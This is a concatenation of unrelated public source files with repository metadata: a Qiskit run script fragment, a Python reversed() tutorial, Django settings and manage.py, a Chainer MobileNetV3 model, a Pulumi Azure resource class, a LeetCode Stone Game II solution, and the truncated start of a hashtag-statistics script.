backend = least_busy(provider.backends(filters=lambda x: x.configuration().n_qubits >= 2 and not x.configuration().simulator and x.status().operational == True))
sample_shot =8000
info = execute(prog, backend=backend, shots=sample_shot).result().get_counts()
backend = FakeVigo()
circuit1 = transpile(prog,backend,optimization_level=2)
writefile = open("../data/startQiskit_QC2883.csv","w")
print(info,file=writefile)
print("results end", file=writefile)
print(circuit1.__len__(),file=writefile)
print(circuit1,file=writefile)
writefile.close()
| [
"wangjiyuan123@yeah.net"
] | wangjiyuan123@yeah.net |
fc65a08e5902987c77d2744f2246f2ddbcaabf20 | 2ce27b05f45cef6ce3ae5c02b8e83e548def2fc6 | /ADVANCE/Functions/Built in Function/reversed( ).py | dee1fad79a5a200d090d2edf08814e238497790f | [] | no_license | Ajay2521/Python | 775b7d99736e83e4d0c37302b91d1413dd2c0d3b | a426dd7717de8a5e60e584d208ae7120bb84c1b3 | refs/heads/master | 2022-12-01T17:49:12.672061 | 2020-08-15T14:55:12 | 2020-08-15T14:55:12 | 273,632,074 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 957 | py | # In this lets see about the "Built-in functions" in python.
# Built-in function is defined as the functions whose functionality is pre-defined in the python compiler.
# Lets see about "reversed( ) bilt-in function" in python.
# reversed( ) - Used to returns the reversed iterator of the given sequence.
# Here is the program for reversed( ).
String = "MaayoN"
List = [ 1, 2, 3, 4, 5 ]
Tuple = ( 1, 2, 3, 4, 5 )
print( ) # prints empty line for readability.
print( reversed( String ) )
print ( list( reversed( String ) ) ) # Converting reversed value into List for readability.
print( ) # prints empty line for readability.
print( reversed( List ) )
print ( list( reversed( List ) ) ) # Converting reversed value into List for readability.
print( ) # prints empty line for readability.
print( reversed( Tuple ) )
print ( list( reversed( Tuple ) ) ) # Converting reversed value into List for readability.
| [
"noreply@github.com"
] | Ajay2521.noreply@github.com |
2f7fe328ac611be8426399a64197dce120f4b2ec | 978e8e7397237a269ce55dff551aee65948d3803 | /trading/settings.py | 5f9f8f43ae749e67986d13bd7fa39f95cfc9ae2c | [] | no_license | AlexsandroMO/Bitcoin | cca28beeb712b63f31c7ef1c54aced47d8de3153 | e19498660d5e3a9fdaee7fdb17e9a5464ebdac8d | refs/heads/master | 2020-09-26T02:47:41.616660 | 2019-12-05T16:48:48 | 2019-12-05T16:48:48 | 226,146,249 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,176 | py |
import os
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
SECRET_KEY = '#v!6idcn2=1^#6s_2x=v*r7ru(^ktkf@rz8#w)jk(_l!po4!yv'
DEBUG = True
ALLOWED_HOSTS = []
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'coin',
'crispy_forms',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'trading.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'trading.wsgi.application'
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
STATIC_URL = '/static/'
CRISPY_TEMPLATE_PACK = 'bootstrap4'
MEDIA_URL = '/media/'
MEDIA_ROOT = 'media_files' | [
"sandrobass@hotmail.com"
] | sandrobass@hotmail.com |
15c9a8ad3e8f75753d97ea1fff7da9f2912bb9ec | 5387c60df3941243b869547e67eebf2b4bf899e4 | /restfullmusiccrud/manage.py | de3f5d6c490f265ac2a7ee428fe76d12b0efc9d5 | [
"Apache-2.0"
] | permissive | v22kumar/MyTestexcs | 9148a433368b9081c0da23ae35f5da16bf6e33c0 | 392cf8220fa86349f29d1550dfd514dd99b304c8 | refs/heads/master | 2021-04-12T20:01:48.829192 | 2020-04-08T06:59:07 | 2020-04-08T06:59:07 | 249,106,065 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 549 | py | #!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "restfullmusiccrud.settings")
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
| [
"you@example.com"
] | you@example.com |
2e1b85709112fd757467515b49f272c9a5c81781 | c7cc93a740664b907e1aec01f908b2aff3e8280c | /chainer_/chainercv2/models/mobilenetv3.py | 42fbc2ddeb9c7746290924ef4abe19500e1eb822 | [
"MIT"
] | permissive | avinash-chouhan/imgclsmob | 9f2e46c9fd4fc0bb542de27e2ae4b9fc347964cc | ff46766065ea7846f8b36701451afc2bf6d667d3 | refs/heads/master | 2020-06-01T20:56:55.259224 | 2019-06-08T10:53:51 | 2019-06-08T10:53:51 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 18,808 | py | """
MobileNetV2, implemented in Chainer.
Original paper: 'Searching for MobileNetV3,' https://arxiv.org/abs/1905.02244.
"""
__all__ = ['MobileNetV3', 'mobilenetv3_small_w7d20', 'mobilenetv3_small_wd2', 'mobilenetv3_small_w3d4',
'mobilenetv3_small_w1', 'mobilenetv3_small_w5d4', 'mobilenetv3_large_w7d20', 'mobilenetv3_large_wd2',
'mobilenetv3_large_w3d4', 'mobilenetv3_large_w1', 'mobilenetv3_large_w5d4']
import os
import chainer.functions as F
from chainer import Chain
from functools import partial
from chainer.serializers import load_npz
from .common import conv1x1, conv1x1_block, conv3x3_block, dwconv3x3_block, dwconv5x5_block, SEBlock, HSwish,\
SimpleSequential
class MobileNetV3Unit(Chain):
"""
MobileNetV3 unit.
Parameters:
----------
in_channels : int
Number of input channels.
out_channels : int
Number of output channels.
exp_channels : int
Number of middle (expanded) channels.
stride : int or tuple/list of 2 int
Stride of the second convolution layer.
use_kernel3 : bool
Whether to use 3x3 (instead of 5x5) kernel.
activation : str
Activation function or name of activation function.
use_se : bool
Whether to use SE-module.
"""
def __init__(self,
in_channels,
out_channels,
exp_channels,
stride,
use_kernel3,
activation,
use_se):
super(MobileNetV3Unit, self).__init__()
self.residual = (in_channels == out_channels) and (stride == 1)
self.use_se = use_se
mid_channels = exp_channels
with self.init_scope():
self.conv1 = conv1x1_block(
in_channels=in_channels,
out_channels=mid_channels,
activation=activation)
if use_kernel3:
self.conv2 = dwconv3x3_block(
in_channels=mid_channels,
out_channels=mid_channels,
stride=stride,
activation=activation)
else:
self.conv2 = dwconv5x5_block(
in_channels=mid_channels,
out_channels=mid_channels,
stride=stride,
activation=activation)
if self.use_se:
self.se = SEBlock(
channels=mid_channels,
reduction=4,
approx_sigmoid=True)
self.conv3 = conv1x1_block(
in_channels=mid_channels,
out_channels=out_channels,
activation=None,
activate=False)
def __call__(self, x):
if self.residual:
identity = x
x = self.conv1(x)
x = self.conv2(x)
if self.use_se:
x = self.se(x)
x = self.conv3(x)
if self.residual:
x = x + identity
return x
class MobileNetV3FinalBlock(Chain):
"""
MobileNetV3 final block.
Parameters:
----------
in_channels : int
Number of input channels.
out_channels : int
Number of output channels.
use_se : bool
Whether to use SE-module.
"""
def __init__(self,
in_channels,
out_channels,
use_se):
super(MobileNetV3FinalBlock, self).__init__()
self.use_se = use_se
with self.init_scope():
self.conv = conv1x1_block(
in_channels=in_channels,
out_channels=out_channels,
activation="hswish")
if self.use_se:
self.se = SEBlock(
channels=out_channels,
reduction=4,
approx_sigmoid=True)
def __call__(self, x):
x = self.conv(x)
if self.use_se:
x = self.se(x)
return x
class MobileNetV3Classifier(Chain):
"""
MobileNetV3 classifier.
Parameters:
----------
in_channels : int
Number of input channels.
out_channels : int
Number of output channels.
mid_channels : int
Number of middle channels.
"""
def __init__(self,
in_channels,
out_channels,
mid_channels):
super(MobileNetV3Classifier, self).__init__()
with self.init_scope():
self.conv1 = conv1x1(
in_channels=in_channels,
out_channels=mid_channels)
self.activ = HSwish()
self.conv2 = conv1x1(
in_channels=mid_channels,
out_channels=out_channels)
def __call__(self, x):
x = self.conv1(x)
x = self.activ(x)
x = self.conv2(x)
return x
class MobileNetV3(Chain):
"""
MobileNetV2 model from 'Searching for MobileNetV3,' https://arxiv.org/abs/1905.02244.
Parameters:
----------
channels : list of list of int
Number of output channels for each unit.
exp_channels : list of list of int
Number of middle (expanded) channels for each unit.
init_block_channels : int
Number of output channels for the initial unit.
final_block_channels : int
Number of output channels for the final block of the feature extractor.
classifier_mid_channels : int
Number of middle channels for classifier.
kernels3 : list of list of int/bool
Using 3x3 (instead of 5x5) kernel for each unit.
use_relu : list of list of int/bool
Using ReLU activation flag for each unit.
use_se : list of list of int/bool
Using SE-block flag for each unit.
first_stride : bool
Whether to use stride for the first stage.
final_use_se : bool
Whether to use SE-module in the final block.
in_channels : int, default 3
Number of input channels.
in_size : tuple of two ints, default (224, 224)
Spatial size of the expected input image.
classes : int, default 1000
Number of classification classes.
"""
def __init__(self,
channels,
exp_channels,
init_block_channels,
final_block_channels,
classifier_mid_channels,
kernels3,
use_relu,
use_se,
first_stride,
final_use_se,
in_channels=3,
in_size=(224, 224),
classes=1000):
super(MobileNetV3, self).__init__()
self.in_size = in_size
self.classes = classes
with self.init_scope():
self.features = SimpleSequential()
with self.features.init_scope():
setattr(self.features, "init_block", conv3x3_block(
in_channels=in_channels,
out_channels=init_block_channels,
stride=2,
activation="hswish"))
in_channels = init_block_channels
for i, channels_per_stage in enumerate(channels):
stage = SimpleSequential()
with stage.init_scope():
for j, out_channels in enumerate(channels_per_stage):
exp_channels_ij = exp_channels[i][j]
stride = 2 if (j == 0) and ((i != 0) or first_stride) else 1
use_kernel3 = kernels3[i][j] == 1
activation = "relu" if use_relu[i][j] == 1 else "hswish"
use_se_flag = use_se[i][j] == 1
setattr(stage, "unit{}".format(j + 1), MobileNetV3Unit(
in_channels=in_channels,
out_channels=out_channels,
exp_channels=exp_channels_ij,
use_kernel3=use_kernel3,
stride=stride,
activation=activation,
use_se=use_se_flag))
in_channels = out_channels
setattr(self.features, "stage{}".format(i + 1), stage)
setattr(self.features, 'final_block', MobileNetV3FinalBlock(
in_channels=in_channels,
out_channels=final_block_channels,
use_se=final_use_se))
in_channels = final_block_channels
setattr(self.features, 'final_pool', partial(
F.average_pooling_2d,
ksize=7,
stride=1))
self.output = SimpleSequential()
with self.output.init_scope():
setattr(self.output, 'final_conv', MobileNetV3Classifier(
in_channels=in_channels,
out_channels=classes,
mid_channels=classifier_mid_channels))
setattr(self.output, 'final_flatten', partial(
F.reshape,
shape=(-1, classes)))
def __call__(self, x):
x = self.features(x)
x = self.output(x)
return x
def get_mobilenetv3(version,
width_scale,
model_name=None,
pretrained=False,
root=os.path.join("~", ".chainer", "models"),
**kwargs):
"""
Create MobileNetV3 model with specific parameters.
Parameters:
----------
version : str
Version of MobileNetV3 ('small' or 'large').
width_scale : float
Scale factor for width of layers.
model_name : str or None, default None
Model name for loading pretrained model.
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.chainer/models'
Location for keeping the model parameters.
"""
if version == "small":
init_block_channels = 16
channels = [[16], [24, 24], [40, 40, 40, 48, 48], [96, 96, 96]]
exp_channels = [[16], [72, 88], [96, 240, 240, 120, 144], [288, 576, 576]]
kernels3 = [[1], [1, 1], [0, 0, 0, 0, 0], [0, 0, 0]]
use_relu = [[1], [1, 1], [0, 0, 0, 0, 0], [0, 0, 0]]
use_se = [[1], [0, 0], [1, 1, 1, 1, 1], [1, 1, 1]]
first_stride = True
final_use_se = True
final_block_channels = 576
elif version == "large":
init_block_channels = 16
channels = [[16], [24, 24], [40, 40, 40], [80, 80, 80, 80, 112, 112], [160, 160, 160]]
exp_channels = [[16], [64, 72], [72, 120, 120], [240, 200, 184, 184, 480, 672], [672, 960, 960]]
kernels3 = [[1], [1, 1], [0, 0, 0], [1, 1, 1, 1, 1, 1], [0, 0, 0]]
use_relu = [[1], [1, 1], [1, 1, 1], [0, 0, 0, 0, 0, 0], [0, 0, 0]]
use_se = [[0], [0, 0], [1, 1, 1], [0, 0, 0, 0, 1, 1], [1, 1, 1]]
first_stride = False
final_use_se = False
final_block_channels = 960
else:
raise ValueError("Unsupported MobileNetV3 version {}".format(version))
classifier_mid_channels = 1280
if width_scale != 1.0:
channels = [[int(cij * width_scale) for cij in ci] for ci in channels]
init_block_channels = int(init_block_channels * width_scale)
if width_scale > 1.0:
final_block_channels = int(final_block_channels * width_scale)
net = MobileNetV3(
channels=channels,
exp_channels=exp_channels,
init_block_channels=init_block_channels,
final_block_channels=final_block_channels,
classifier_mid_channels=classifier_mid_channels,
kernels3=kernels3,
use_relu=use_relu,
use_se=use_se,
first_stride=first_stride,
final_use_se=final_use_se,
**kwargs)
if pretrained:
if (model_name is None) or (not model_name):
raise ValueError("Parameter `model_name` should be properly initialized for loading pretrained model.")
from .model_store import get_model_file
load_npz(
file=get_model_file(
model_name=model_name,
local_model_store_dir_path=root),
obj=net)
return net
def mobilenetv3_small_w7d20(**kwargs):
"""
MobileNetV3 Small 224/0.35 model from 'Searching for MobileNetV3,' https://arxiv.org/abs/1905.02244.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.chainer/models'
Location for keeping the model parameters.
"""
return get_mobilenetv3(version="small", width_scale=0.35, model_name="mobilenetv3_small_w7d20", **kwargs)
def mobilenetv3_small_wd2(**kwargs):
"""
MobileNetV3 Small 224/0.5 model from 'Searching for MobileNetV3,' https://arxiv.org/abs/1905.02244.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.chainer/models'
Location for keeping the model parameters.
"""
return get_mobilenetv3(version="small", width_scale=0.5, model_name="mobilenetv3_small_wd2", **kwargs)
def mobilenetv3_small_w3d4(**kwargs):
"""
MobileNetV3 Small 224/0.75 model from 'Searching for MobileNetV3,' https://arxiv.org/abs/1905.02244.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.chainer/models'
Location for keeping the model parameters.
"""
return get_mobilenetv3(version="small", width_scale=0.75, model_name="mobilenetv3_small_w3d4", **kwargs)
def mobilenetv3_small_w1(**kwargs):
"""
MobileNetV3 Small 224/1.0 model from 'Searching for MobileNetV3,' https://arxiv.org/abs/1905.02244.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.chainer/models'
Location for keeping the model parameters.
"""
return get_mobilenetv3(version="small", width_scale=1.0, model_name="mobilenetv3_small_w1", **kwargs)
def mobilenetv3_small_w5d4(**kwargs):
"""
MobileNetV3 Small 224/1.25 model from 'Searching for MobileNetV3,' https://arxiv.org/abs/1905.02244.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.chainer/models'
Location for keeping the model parameters.
"""
return get_mobilenetv3(version="small", width_scale=1.25, model_name="mobilenetv3_small_w5d4", **kwargs)
def mobilenetv3_large_w7d20(**kwargs):
"""
MobileNetV3 Small 224/0.35 model from 'Searching for MobileNetV3,' https://arxiv.org/abs/1905.02244.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.chainer/models'
Location for keeping the model parameters.
"""
return get_mobilenetv3(version="large", width_scale=0.35, model_name="mobilenetv3_small_w7d20", **kwargs)
def mobilenetv3_large_wd2(**kwargs):
"""
MobileNetV3 Large 224/0.5 model from 'Searching for MobileNetV3,' https://arxiv.org/abs/1905.02244.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.chainer/models'
Location for keeping the model parameters.
"""
return get_mobilenetv3(version="large", width_scale=0.5, model_name="mobilenetv3_large_wd2", **kwargs)
def mobilenetv3_large_w3d4(**kwargs):
"""
MobileNetV3 Large 224/0.75 model from 'Searching for MobileNetV3,' https://arxiv.org/abs/1905.02244.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.chainer/models'
Location for keeping the model parameters.
"""
return get_mobilenetv3(version="large", width_scale=0.75, model_name="mobilenetv3_large_w3d4", **kwargs)
def mobilenetv3_large_w1(**kwargs):
"""
MobileNetV3 Large 224/1.0 model from 'Searching for MobileNetV3,' https://arxiv.org/abs/1905.02244.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.chainer/models'
Location for keeping the model parameters.
"""
return get_mobilenetv3(version="large", width_scale=1.0, model_name="mobilenetv3_large_w1", **kwargs)
def mobilenetv3_large_w5d4(**kwargs):
"""
MobileNetV3 Large 224/1.25 model from 'Searching for MobileNetV3,' https://arxiv.org/abs/1905.02244.
Parameters:
----------
pretrained : bool, default False
Whether to load the pretrained weights for model.
root : str, default '~/.chainer/models'
Location for keeping the model parameters.
"""
return get_mobilenetv3(version="large", width_scale=1.25, model_name="mobilenetv3_large_w5d4", **kwargs)
def _test():
import numpy as np
import chainer
chainer.global_config.train = False
pretrained = False
models = [
mobilenetv3_small_w7d20,
mobilenetv3_small_wd2,
mobilenetv3_small_w3d4,
mobilenetv3_small_w1,
mobilenetv3_small_w5d4,
mobilenetv3_large_w7d20,
mobilenetv3_large_wd2,
mobilenetv3_large_w3d4,
mobilenetv3_large_w1,
mobilenetv3_large_w5d4,
]
for model in models:
net = model(pretrained=pretrained)
weight_count = net.count_params()
print("m={}, {}".format(model.__name__, weight_count))
assert (model != mobilenetv3_small_w7d20 or weight_count == 2845419)
assert (model != mobilenetv3_small_wd2 or weight_count == 2907518)
assert (model != mobilenetv3_small_w3d4 or weight_count == 3006542)
assert (model != mobilenetv3_small_w1 or weight_count == 3105566)
assert (model != mobilenetv3_small_w5d4 or weight_count == 3499970)
assert (model != mobilenetv3_large_w7d20 or weight_count == 4603377)
assert (model != mobilenetv3_large_wd2 or weight_count == 4806022)
assert (model != mobilenetv3_large_w3d4 or weight_count == 5142614)
assert (model != mobilenetv3_large_w1 or weight_count == 5479206)
assert (model != mobilenetv3_large_w5d4 or weight_count == 6171478)
x = np.zeros((1, 3, 224, 224), np.float32)
y = net(x)
assert (y.shape == (1, 1000))
if __name__ == "__main__":
_test()
| [
"osemery@gmail.com"
] | osemery@gmail.com |
0a6d031e52c377dfeb5f3cf7f389bdc52a2c51d4 | 9cd180fc7594eb018c41f0bf0b54548741fd33ba | /sdk/python/pulumi_azure_nextgen/network/v20170901/application_security_group.py | ac52e3a85dabe4f471e82c5f7c30605886353ff6 | [
"Apache-2.0",
"BSD-3-Clause"
] | permissive | MisinformedDNA/pulumi-azure-nextgen | c71971359450d03f13a53645171f621e200fe82d | f0022686b655c2b0744a9f47915aadaa183eed3b | refs/heads/master | 2022-12-17T22:27:37.916546 | 2020-09-28T16:03:59 | 2020-09-28T16:03:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,134 | py | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
__all__ = ['ApplicationSecurityGroup']
class ApplicationSecurityGroup(pulumi.CustomResource):
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
application_security_group_name: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
__props__=None,
__name__=None,
__opts__=None):
"""
An application security group in a resource group.
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] application_security_group_name: The name of the application security group.
:param pulumi.Input[str] id: Resource ID.
:param pulumi.Input[str] location: Resource location.
:param pulumi.Input[str] resource_group_name: The name of the resource group.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Resource tags.
"""
if __name__ is not None:
warnings.warn("explicit use of __name__ is deprecated", DeprecationWarning)
resource_name = __name__
if __opts__ is not None:
warnings.warn("explicit use of __opts__ is deprecated, use 'opts' instead", DeprecationWarning)
opts = __opts__
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = dict()
if application_security_group_name is None:
raise TypeError("Missing required property 'application_security_group_name'")
__props__['application_security_group_name'] = application_security_group_name
__props__['id'] = id
__props__['location'] = location
if resource_group_name is None:
raise TypeError("Missing required property 'resource_group_name'")
__props__['resource_group_name'] = resource_group_name
__props__['tags'] = tags
__props__['etag'] = None
__props__['name'] = None
__props__['provisioning_state'] = None
__props__['resource_guid'] = None
__props__['type'] = None
alias_opts = pulumi.ResourceOptions(aliases=[pulumi.Alias(type_="azure-nextgen:network/latest:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20171001:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20171101:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20180101:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20180201:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20180401:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20180601:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20180701:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20180801:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20181001:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20181101:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20181201:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20190201:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20190401:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20190601:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20190701:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20190801:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20190901:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20191101:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20191201:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20200301:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20200401:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20200501:ApplicationSecurityGroup"), pulumi.Alias(type_="azure-nextgen:network/v20200601:ApplicationSecurityGroup")])
opts = pulumi.ResourceOptions.merge(opts, alias_opts)
super(ApplicationSecurityGroup, __self__).__init__(
'azure-nextgen:network/v20170901:ApplicationSecurityGroup',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None) -> 'ApplicationSecurityGroup':
"""
Get an existing ApplicationSecurityGroup resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = dict()
return ApplicationSecurityGroup(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def etag(self) -> pulumi.Output[str]:
"""
A unique read-only string that changes whenever the resource is updated.
"""
return pulumi.get(self, "etag")
@property
@pulumi.getter
def location(self) -> pulumi.Output[Optional[str]]:
"""
Resource location.
"""
return pulumi.get(self, "location")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
Resource name.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> pulumi.Output[str]:
"""
The provisioning state of the application security group resource. Possible values are: 'Succeeded', 'Updating', 'Deleting', and 'Failed'.
"""
return pulumi.get(self, "provisioning_state")
@property
@pulumi.getter(name="resourceGuid")
def resource_guid(self) -> pulumi.Output[str]:
"""
The resource GUID property of the application security group resource. It uniquely identifies a resource, even if the user changes its name or migrate the resource across subscriptions or resource groups.
"""
return pulumi.get(self, "resource_guid")
@property
@pulumi.getter
def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
Resource tags.
"""
return pulumi.get(self, "tags")
@property
@pulumi.getter
def type(self) -> pulumi.Output[str]:
"""
Resource type.
"""
return pulumi.get(self, "type")
def translate_output_property(self, prop):
return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
def translate_input_property(self, prop):
return _tables.SNAKE_TO_CAMEL_CASE_TABLE.get(prop) or prop
| [
"public@paulstack.co.uk"
] | public@paulstack.co.uk |
e89f4fa1910b5e1ead9f3d1bcd08b5811ee1944a | 5a8214b3a452c574e6c883bf5d90ba58ba87c461 | /leetcode/1140.stone-game-ii.py | abbfd17a569afa2a85d2de22865c2faaa350ab43 | [] | no_license | phlalx/algorithms | 69a3c8519687816e3c6333ec12b40659d3e3167f | f4da5a5dbda640b9bcbe14cb60a72c422b5d6240 | refs/heads/master | 2023-02-03T10:30:30.181735 | 2020-12-26T09:47:38 | 2020-12-26T09:47:38 | 129,254,618 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,129 | py | #
# @lc app=leetcode id=1140 lang=python3
#
# [1140] Stone Game II
#
# https://leetcode.com/problems/stone-game-ii/description/
#
# algorithms
# Medium (62.00%)
# Likes: 335
# Dislikes: 75
# Total Accepted: 11.4K
# Total Submissions: 18.4K
# Testcase Example: '[2,7,9,4,4]'
#
# Alex and Lee continue their games with piles of stones. There are a number
# of piles arranged in a row, and each pile has a positive integer number of
# stones piles[i]. The objective of the game is to end with the most stones.
#
# Alex and Lee take turns, with Alex starting first. Initially, M = 1.
#
# On each player's turn, that player can take all the stones in the first X
# remaining piles, where 1 <= X <= 2M. Then, we set M = max(M, X).
#
# The game continues until all the stones have been taken.
#
# Assuming Alex and Lee play optimally, return the maximum number of stones
# Alex can get.
#
#
# Example 1:
#
#
# Input: piles = [2,7,9,4,4]
# Output: 10
# Explanation: If Alex takes one pile at the beginning, Lee takes two piles,
# then Alex takes 2 piles again. Alex can get 2 + 4 + 4 = 10 piles in total. If
# Alex takes two piles at the beginning, then Lee can take all three piles
# left. In this case, Alex get 2 + 7 = 9 piles in total. So we return 10 since
# it's larger.
#
#
#
# Constraints:
#
#
# 1 <= piles.length <= 100
# 1 <= piles[i] <= 10 ^ 4
#
#
# TAGS dp
# very classic dp
# @lc code=start
import functools
class Solution:
def stoneGameII(self, piles: List[int]) -> int:
total = sum(piles)
n = len(piles)
@functools.lru_cache(maxsize=None)
def f(i, M) -> int:
# return best score achievable by player
if i == n:
return 0
else:
best = float('-inf')
cur_sum = 0
# last pile taken by player
for x in range(i, min(i + 2 * M, n)):
cur_sum += piles[x]
best = max(best, cur_sum - f(x+1, max(M, x-i+1)))
return best
score = f(0, 1)
return (total + score) // 2
# @lc code=end
| [
"phlalx@users.noreply.github.com"
] | phlalx@users.noreply.github.com |
c1b22849629d6c3615ebfb29f802a866b205482b | 3b79a802f8dd9f26bee0bfde4630ac0cab932803 | /srcHashTag/statisticHashtag.py | 11eb49bb3a43550f017598f6d4cfd9ad00cbd48b | [] | no_license | qolina/Twevent | 87fc4706564088361e9db6ddc44efc10647e67fe | 4b90b0604493b20dee90448c17e0a8e0d557165e | refs/heads/master | 2021-06-24T19:06:02.022882 | 2017-08-15T05:20:09 | 2017-08-15T05:20:09 | 100,341,172 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,044 | py | #! /usr/bin/env python
#coding=utf-8
import time
import re
import os
import math
import cPickle
############################
## load tweets' social feature
def loadsocialfeature(filepath):
inFile = file(filepath,"r")
tweSFHash = cPickle.load(inFile)
inFile.close()
print "### " + str(time.asctime()) + " " + str(len(tweSFHash)) + " tweets' social features are loaded from " + inFile.name
return tweSFHash
'''
feahash["RT"] = RT
feahash["Men"] = Men
feahash["Reply"] = Reply
feahash["Url"] = Url
feahash["RTC"] = RTC
feahash["Fav"] = Fav
feahash["Tag"] = Tag
feahash["Past"] = Past
'''
############################
##
def statisticHashtag(dataFilePath, toolDirPath):
fileList = os.listdir(dataFilePath)
# output hashtag statistics
hashtagfreqFile = file(toolDirPath + "hashTagFreqFile", "w")
